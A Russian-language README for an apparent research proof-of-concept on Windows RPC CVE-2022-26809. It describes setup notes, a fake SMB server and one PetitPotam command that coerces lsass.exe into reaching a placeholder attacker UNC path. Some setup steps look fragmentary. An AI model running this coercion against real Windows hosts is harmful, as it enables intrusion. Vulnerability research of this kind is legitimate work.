
Эксплойт proof-of-concept для CVE-2022-26809, уязвимости целочисленного переполнения в среде выполнения Windows RPC. Включает скрипты-триггеры с использованием принуждения UNC-пути в стиле PetitPotam против lsass.exe и поддельный SMB-сервер для тестирования эксплуатации.
Этот репозиторий — просто исследование этой CVE, более подробный анализ см. здесь.
ОБНОВЛЕНИЕ: 05/19 2022
Этот анализ ещё не завершён....
ОБНОВЛЕНИЕ: 05/22 2022
Пост HuanGMz и блог corelight показывают реальную уязвимую точку:
OSF_CASSOCIATION::ProcessBindAckOrNak
Эта уязвимость срабатывает так же, как CVE-2021-43893: при отправке запроса ESFRPC к lsass.exe с UNC-путём жертва пытается обратиться к цели как клиент, поэтому возникает целочисленное переполнение в клиентском API
Если у вас есть лучшее решение для срабатывания этой уязвимости, смело создавайте issue или pr :)
Поскольку уязвимость срабатывает как CVE-2021-43893, просто склонируйте код PetitPotam.
Просто подготовьте окружение, как показано здесь:
fake_smb_server.py на attacker-server после замены rpcrt.py на оригинальный(**Поскольку порт 445 занят системой на Windows, рекомендуется разворачивать сервис на Linux **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Однако мне не удалось вызвать BSoD, но согласно windbg целочисленное переполнение было вызвано)Старое описание
Здесь приведён код для воспроизведения уязвимости Windows RPC CVE-2022-26809, он ссылается на https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Моя версия Python — 3.6.7
Не уверен, что GetCoalescedBuffer связан с реальной CVE-2022-26809, просто оставляю
poc.py просто пытается вызвать уязвимую функциюOSF_SCALL::GetCoalescedBuffer, это не приведёт к падению, потому что целочисленное переполнение dword слишком сложно воспроизвести. А rpcrt.py — это пакет Python impacket.dcerpc.v5.rpcrt, просто замените его на оригинал, чтобы вызвать уязвимость(не забудьте сделать резервную копию оригинала :) Я считаю, что в rpcrt.py куча багов).
Если не сработает, возможно, wireshark поможет найти ошибку.
при необходимости просто используйте nmake, чтобы пересобрать его